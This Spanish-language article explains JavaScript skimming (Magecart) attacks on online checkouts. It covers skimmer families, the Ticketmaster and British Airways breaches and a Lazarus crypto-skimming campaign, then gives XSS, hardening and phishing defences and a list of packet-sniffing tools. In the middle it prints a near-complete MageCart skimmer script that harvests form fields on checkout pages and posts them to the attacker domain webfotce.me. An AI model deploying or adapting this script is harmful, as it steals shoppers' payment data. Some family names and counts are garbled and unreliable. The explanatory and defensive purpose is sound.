Ataques de rastreo de Javascript: qué son y cómo prevenirlos

Es posible que hayas oído hablar de los skimmers de tarjetas de crédito/débito. Son dispositivos físicos pequeños y sutiles superpuestos en las terminales de pago de las tiendas para canalizar tu información financiera y enviarla a un servidor controlado por el atacante que logró instalar el skimmer. Un sniffer de Javascript es el sistema de pago en línea equivalente (piensa en un carrito de compras en línea) de los skimmers de tarjetas. Es solo que roban tu información financiera de los sistemas de pago virtuales en lugar de los físicos.

Formjacking es un tipo de ataque muy similar, que también se basa en Javascript malicioso, pero está menos dirigido que los ataques de rastreo de Javascript. Los ataques de Formjacking tienen como objetivo cualquier información en cualquier tipo de formulario en línea. Los ataques de rastreo de Javascript se dirigen específicamente a los sistemas de pago en línea.

En esta publicación, analizamos en profundidad qué es un ataque de rastreo de Javascript, cómo funcionan los rastreadores de Javascript y qué puedes hacer para evitar ser víctima de uno de estos ataques.

¿Qué es un rastreador de Javascript?

Como se mencionó anteriormente, un sniffer de Javascript es la contraparte en línea de los skimmers de tarjetas. En un ataque de rastreo de Javascript, el atacante inyecta líneas de códigos (un script) en un sitio web, que luego extrae los datos personales ingresados ​​por los usuarios en formularios en línea, generalmente formularios de pago de tiendas en línea. Los datos de usuario objetivo incluyen números de tarjetas de crédito, nombres, direcciones, contraseñas y números de teléfono. No solo eso, los rastreadores de Javascript incluso se pueden comprar en foros clandestinos o en la web oscura por un valor de entre $ 250 y $ 5,000.

Los ataques de rastreo de Javascript salieron a la luz por primera vez alrededor de 2016. Pero realmente llegaron a ser el centro de atención en 2018 cuando muchos sitios de alto perfil fueron atacados con éxito.

Inicialmente, los rastreadores de Javascript se diseñaron para apuntar a la plataforma Magento CMS, una plataforma de comercio electrónico de código abierto utilizada por más de 250.000 sitios web de comercio electrónico. Con el tiempo, se desarrollaron diferentes variedades (o familias) de sniffers de Javascript, capaces de comprometer otras plataformas de comercio electrónico, como OpenCart, Shopify, WooCommerce y WordPress, todas las cuales han sido violadas con éxito por los sniffers de Javascript. Sin embargo, Magento sigue siendo el objetivo más popular, con más del 70 % de los rastreadores de Javascript diseñados para violar su plataforma.

Otra cosa a tener en cuenta al observar los ataques de rastreo de Javascript es cómo se inyecta el código en primer lugar. Si el atacante no puede inyectar su código, no puede llevar a cabo el ataque. La forma más común en que se inyecta código malicioso en los sitios web es a través de ataques de secuencias de comandos entre sitios (XSS). Por lo tanto, una gran parte de las defensas contra los rastreadores de Javascript se dirigirá a la prevención de ataques XSS. Otro vector de ataque popular son los ataques de phishing dirigidos al administrador del sitio web para acceder al panel de control del sitio.

Javascript rastrea el flujo de ataque típico

Los ataques de rastreo de Javascript son bastante sencillos una vez que el atacante ha inyectado su script. El flujo de ataque típico se parece a esto:

  • El atacante inyecta su código malicioso en la página de pago de un sitio web. La forma en que inyectan su código malicioso puede variar bastante. El punto es encontrar una manera de cargar su código en el servidor. Eso normalmente sería a través de un ataque de secuencias de comandos entre sitios (XSS), pero podría ser a través de cualquier otro tipo de ataque de inyección de código. También podría ser a través de un ataque de phishing dirigido al administrador del sistema del sitio web. De esa forma, el atacante podría presumiblemente obtener las credenciales del administrador del sistema y cargar su script a través del panel de control del sitio web.
  • Un usuario realiza una compra en el sitio web e ingresa los detalles de su tarjeta de crédito en la página de pago del sitio. El script del atacante copia esa información y la envía a un servidor controlado por el atacante.
  • El atacante puede usar la información canalizada para fraude financiero o robo de identidad.

Familias de rastreadores de Javascript

Los rastreadores de Javascript se clasifican en familias. Si bien hay muchas familias diferentes de sniffer de Javascript, las dos familias principales son:

MageCart

MageCart es probablemente la familia de rastreadores de Javascript más famosa. Su nombre se deriva del sistema de administración de contenido Magento y su plataforma de comercio electrónico integrada, utilizada por cientos de miles de sitios web que ofrecen tiendas en línea. MageCart ha evolucionado con el tiempo y ha ganado algunas capacidades interesantes en el camino. Uno de sus trucos es infectar los banners publicitarios que se muestran en los navegadores web. Una vez que un usuario desprevenido hace clic en el anuncio publicitario, el código malicioso de MageCart se descarga en su máquina.

MagentoName

La familia de sniffers MagentoName JS es uno de los sniffers de Javascript más comunes y exitosos. Como probablemente hayas adivinado, su nombre también se deriva del sistema de administración de contenido Magento, una carga útil muy popular. MagnetoName se diseñó inicialmente para apuntar solo a la infraestructura de pago de Magneto, pero desde entonces se ha adaptado para apuntar a otros sistemas de pago de back-end. Eso convierte a MagentoName en uno de los rastreadores de Javascript más potentes que existen.

G-Analytics

La familia G-Analytics de rastreadores de Javascript funciona de manera muy similar a MagentoName en la medida en que, en última instancia, está diseñada para robar tu información financiera por fraude o robo de identidad. Sin embargo, se dirige a los servicios de recopilación de análisis de sitios web, como Google Analytics o la biblioteca jQuery. Una vez que el script de análisis malicioso se ha inyectado en el servidor, carga un segundo script que rastrea la información financiera de los usuarios desprevenidos.

Otras familias

Si bien las dos anteriores son las familias de rastreadores de Javascript más comunes, hay muchas otras. Un informe de la firma de investigación de seguridad IB Group enumera 38 familias diferentes de sniffer de Javascript.

Otras familias de sniffer de Javascript incluyen:

  • GMO
  • TokenLogin
  • TokenMSN
  • ImageID
  • PreMage
  • PHP backdoors
  • GetBilling
  • WebRank
  • PostEval
  • Illum
  • FakeCDN
  • CoffeMokko
  • ReactGet
  • Qoogle

Si bien cada uno de estos rastreadores de Javascript puede apuntar a diferentes partes de la infraestructura de un sitio web, todos están diseñados para canalizar información del sistema de pago del sitio y enviar esa información al atacante.

Ejemplos

A continuación te indicamos algunos ejemplos famosos de ataques de rastreo de Javascript:

Ticketmaster

El 27 de junio de 2018, Ticketmaster anunció que se había visto comprometido y sufrió una violación de datos, exponiendo la información del cliente. La información del cliente que había sido robada era información de pago. Ticketmaster había sido víctima de un ataque de rastreo de Javascript.

Sin embargo, no fue Ticketmaster directamente el que fue violado. Fue uno de sus proveedores externos para su sitio web, Inbenta. No solo eso, sino que Ticketmaster no estaba solo: él y más de 800 sitios de comercio electrónico en todo el mundo fueron víctimas de una extensa campaña de robo de tarjetas de crédito digitales. Cuando Ticketmaster descargó sus recursos de terceros, también descargó el sniffer de Javascript y se «infectó». Más de 40.000 usuarios de Ticketmaster se vieron afectados por esta infracción.

British Airways

El 6 de septiembre de 2018, British Airways anunció públicamente que había sido víctima de una infracción que provocó el robo de datos de clientes. Afirmó que hasta aproximadamente 380,000 clientes podrían haberse visto afectados y que la información comprometida incluía información financiera. La brecha afectó el sistema de pago tanto de su sitio web principal como de su aplicación móvil entre el 21 de agosto y el 5 de septiembre de 2018. British Airways fue atacada con éxito utilizando el sniffer Magecart Javascript. Eso resultó en más de 380.000 números de tarjetas de crédito comprometidos.

Sniffer de Javascript

A continuación se muestra una versión del sniffer Javascript de MageCart.

var skimmer = {
snd: null,
gate: ‘https://webfotce.me/js/form.js’,
myid: (function(cname) {
var cd = document.cookie.match(new RegExp(‘(?:^|; )’ + cname.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, ‘\$1’) + ‘=([^;]*)’));
return cd ? decodeURIComponent(cd[1]) : undefined
})(‘setidd’) || (function() {
var d = new Date();
var time_id = d.getTime() + ‘-‘ + Math.floor(Math.random() * (999999999 – 11111111 + 1) + 11111111);
var exp = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
document.cookie = ‘setidd=’ + time_id + ‘; path=/; expires=’ + exp.toUTCString();
return time_id
})(),
clk: function() {
skimmer.snd. = null;
var inp = document.querySelectorAll(‘input, select, textarea, checkbox, button’);
for (var i = 0; i < inp.length; i++) {
if (inp[i].value.length > 0) {
var nme = inp[i].name;
if (nme == ”) {
nme = i
};
skimmer.snd += inp[i].name + ‘=’ + inp[i].value + ‘&’
}
}
},
send: function() {
try {
var btn = document.querySelectorAll(‘a[href*=\’javascript:void(0)\’],button, input, submit, .btn, .button’);
for (var i = 0; i < btn.length; i++) {
var b = btn[i];
if (b.type != ‘text’ && b.type != ‘select’ && b.type != ‘checkbox’ && b.type != ‘password’ && b.type != ‘radio’) {
if (b.addEventListener) {
b.addEventListener(‘click’, skimmer.clk, false)
} else {
b.attachEvent(‘onclick’, skimmer.clk)
}
}
};
var frm = document.querySelectorAll(‘form’);
for (var i = 0; i < frm.length; i++) {
if (frm[i].addEventListener) {
frm[i]addEventListener(‘submit’, skimmer.clk, false)
} else {
frm[i].attachEvent(‘onsubmit’, skimmer.clk)
}
};
if (skimmer.snd != null) {
var hostname = location.hostname.split(‘.’).slice(0).join(‘_’) || ‘nodomain’;
var enc_info = btoa(skimmer.snd);
var http = new XMLHttpRequest();
http.open(‘POST’, skimmer.gate, true);
http.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
http.send(‘info=’ + enc_info + ‘&hostname=ticketmUK&key=’ + skimmer.myid)
};
skimmer.snd = null;
enc_info = null;
setTimeout(function() {
skimmer.send()
}, 30)
} catch (e) {}
}
};
if ((new RegExp(‘order|checkout|onestep’, ‘gi’)).test(window.location)) {
skimmer.send()
}

Si bien se requiere todo el script para llevar a cabo los ataques, dos elementos clave nos ayudan a comprender cómo funciona. La primera es la declaración ‘si’ al final del script:

if ((new RegExp(‘order|checkout|onestep’, ‘gi’)).test(window.location)) {
skimmer.send()

Esta declaración ‘if’ usa una expresión regular (regex) para obtener la URL actual que está visitando la víctima. El punto es activar el skimming una vez que están en la página de pago del sitio. Las URL de las plataformas de pago en línea suelen incluir las palabras clave en cuestión: pedido, pago, onestep (One Step es un procesador de pago en línea de uso común).

La otra parte interesante de este script está en la parte superior:

gate: ‘https://webfotce.me/js/form.js’,

Ese es el servidor del atacante, disfrazado como una fuerza web legítima de la biblioteca Javascript. El atacante reemplazó la «r» con una «t» – de webforce a webfotce.

Por lo demás, este script canaliza cualquier información de usuario suministrada en un formulario o un campo de la página de pago del sitio web. El skimmer extrae el nombre y el valor de los campos de entrada, los combina y envía el resultado al servidor controlado por el atacante (webfotce.me).

Robo de criptomonedas

El grupo de amenazas Lazarus infectó varias tiendas de comercio electrónico con un rastreador de JavaScript modificado e indocumentado que tenía como objetivo robar criptomonedas de los consumidores en línea.

El rastreador de JavaScript, que los investigadores llaman BTC Changer, muestra una sofisticación cada vez mayor en torno a los esfuerzos de lavado de dinero en criptomonedas del grupo Lazarus.

El descubrimiento de la campaña comenzó cuando los investigadores descubrieron que el grupo Lazarus usaba rastreadores de JavaScript para dirigirse a las tiendas en línea de EE.UU. y Europa y robar los datos de las tarjetas de pago de los compradores. Luego de una mayor investigación sobre esta campaña, identificaron otra campaña que involucró la misma infraestructura, que comenzó en febrero de 2020. Este ataque fue diferente , ya que los atacantes modificaron el código JavaScript. sniffer para apuntar ahora a la criptomoneda en lugar de la información de pago con tarjeta de crédito.

Los investigadores observaron que el sniffer se utilizaba en tres sitios web: el proveedor europeo de productos químicos de investigación Realchems, la joyería Wongs Jewelers y una tienda en línea italiana de ropa de lujo sin nombre. Es de destacar que los investigadores no encontraron ninguna evidencia de que Wongs Jewelers acepte pagos con criptomonedas, lo que los llevaron a suponer que los atacantes agregaron BTC Changer al sitio web por error.

Como parte de la campaña, los atacantes agregaron un formulario de pago web falso, que se abría en un elemento iframe en los sitios web comprometidos y solicitaba que los pagos se hicieran directamente a las direcciones de criptomonedas propiedad de los atacantes. Cuando los consumidores realizan compras en línea utilizando las direcciones de Bitcoin de los sitios, sin darse cuenta enviaban dinero a la dirección de pago de Bitcoin de los atacantes.

¿Cómo defenderse de los ataques de rastreo de Javascript?

Debido a que existe una buena posibilidad de que un atacante inyecte su código mediante un ataque de secuencias de comandos entre sitios (XSS), lo primero que debes hacer es protegerte contra los ataques XXS. Los puntos enumerados a continuación deberían ayudar. Aquí hay una vista de alto nivel de las recomendaciones:

Defensa contra ataques de secuencias de comandos entre sitios (XSS)

  • No confíes en las entradas de los usuarios: debes tratar todas las entradas de los usuarios por igual, no confíes en ellas, independientemente de si provienen de usuarios autenticados, usuarios internos o usuarios públicos.
  • Establecer el indicador HttpOnly: establecer el indicador HttpOnly hace que las cookies sean inaccesibles a través de JavaScript del lado del cliente.
  • Usar escape/codificación: usa una técnica de escape/codificación basada en dónde se usará la entrada del usuario, como escape de HTML, escape de JavaScript, escape de URL, etc. También se recomienda enfáticamente usar bibliotecas existentes para escapar en lugar de escribir las suyas propias.
  • Desinfecta tu HTML: escapar/codificar la entrada del usuario que contiene HTML dará como resultado la ruptura de etiquetas válidas. Para solucionar este problema, usa una biblioteca confiable y verificada para analizar y limpiar el HTML. Asegúrate de elegir la biblioteca adecuada para tu lenguaje de desarrollo.
  • Utiliza una política de seguridad de contenido: CSP es un encabezado de respuesta HTTP que te permite determinar qué recursos dinámicos pueden cargarse en función del origen de la solicitud.

Defensa contra ataques de rastreo de Javascript

  • Fortalecimiento del sitio web
  • Usa contraseñas seguras: asegúrate de usar contraseñas complejas y únicas para acceder al panel de administración del sitio web y a cualquier otro servicio de administración (phpMyAdmin, Adminer, etc.). Si puedes, configura también la autenticación de dos factores.
  • Actualiza tu software: siempre actualiza tu software tan pronto como las actualizaciones estén disponibles, incluido el CMS de tu sitio. Nunca utilices versiones de CMS obsoletas o no compatibles. Eso reducirá el riesgo de que tus servidores se vean comprometidos y hará que sea más difícil para un atacante inyectar código malicioso.
  • Escanea tu tienda web: realiza auditorías de seguridad periódicas de tu tienda web utilizando un escáner de vulnerabilidades. Si tu sitio utiliza el CMS de Magento, puedes utilizar la herramienta de análisis de seguridad de Magento.
  • Habilita el registro: asegúrate de que tus sistemas estén configurados para registrar cualquier cambio en el sitio, incluido el panel de control y las bases de datos del sitio. Y asegúrate de poder realizar un seguimiento de las fechas de cambio de archivos. Eso te ayudará a detectar cualquier código malicioso, archivos infectados y acceso no autorizado al sitio.

Defensa contra ataques de phishing

  • Usa un administrador de contraseñas con autocompletado: los administradores de contraseñas que admiten el autocompletado deben realizar un seguimiento de las páginas web para las que se han configurado. Si tu administrador de contraseñas habilitado para autocompletar se niega a completar tu contraseña, vuelva a verificar la página web en la que te encuentras. Puede ser el objetivo de un ataque de phishing.
  • No abras enlaces/archivos adjuntos en correos electrónicos: verifica siempre los correos electrónicos que incluyen enlaces o archivos adjuntos con el remitente antes de hacer clic en ellos/abrirlos. Si proviene de un servicio en línea o de tu banco, escribe manualmente la URL en tu navegador web para asegurarte de que estás en el sitio web legítimo real.
  • Abre documentos sospechosos en Google Drive: si recibe un documento sospechoso en un correo electrónico, cárgalo en Google Drive en lugar de hacer doble clic en él. Eso convertirá el documento en HTML y muy probablemente evitará que instale código malicioso en tu dispositivo.
  • Use una clave física de autenticación de dos factores (2FA): se recomienda encarecidamente configurar tus cuentas más confidenciales para usar una clave 2FA. Cuando tus cuentas están configuradas de esta manera, después de iniciar sesión normalmente (usando su nombre de usuario y contraseña), inserta la clave en tu dispositivo para proporcionar la segunda capa en su autenticación de dos factores. Uno de los beneficios de este enfoque es que si terminas en un sitio de phishing, tu clave 2FA sabrá que no debe iniciar sesión.

Herramientas utilizadas para la detección de paquetes

Varias herramientas de rastreo utilizadas actualmente y ampliamente en la industria:

Wireshark

Estos son analizadores de paquetes de código abierto y ampliamente utilizados que se utilizan para la resolución de problemas de red, análisis, software y desarrollo de protocolos de comunicaciones. Wireshark es multiplataforma y se usa ampliamente para monitorizar la red y los flujos de paquetes en la red.

Tcpdump

Por lo general, se ejecuta bajo una interfaz de usuario de comando, Tcpdump permite a los usuarios mostrar TCP/IP y otros paquetes que se transmiten o reciben a través de una red informática atacada. Tiene menos riesgo de seguridad y requiere pocos recursos solamente. En Windows, se ejecuta como WinDump.

Dsniff

Dsniff fue desarrollado para analizar diferentes protocolos y extraer información relevante. Es un conjunto de herramientas de rastreo de contraseñas y análisis de tráfico de red, que se utiliza para rastrear diferentes protocolos solo en sistemas UNIX y Linux.

NetworkMiner

Es un NFAT de código abierto para Windows. NetworkMiner es una de las herramientas más utilizadas que simplifica el análisis de red, para detectar hosts y puertos abiertos a través de la detección de paquetes. También puede operar fuera de línea.

Kismet

Específicamente utilizado para rastrear redes inalámbricas, incluso desde redes ocultas y SSID. En términos más simples, Kismet es un detector de red, un rastreador de paquetes y un sistema de detección de intrusos. KisMac se usa para entornos MAC y OSX y funciona con cualquier tarjeta inalámbrica que admita el modo de monitoreo sin formato.

Existen otras herramientas de detección de paquetes, como EtherApe, Fiddler, OmniPeek, PRTG Network Monitor, etc.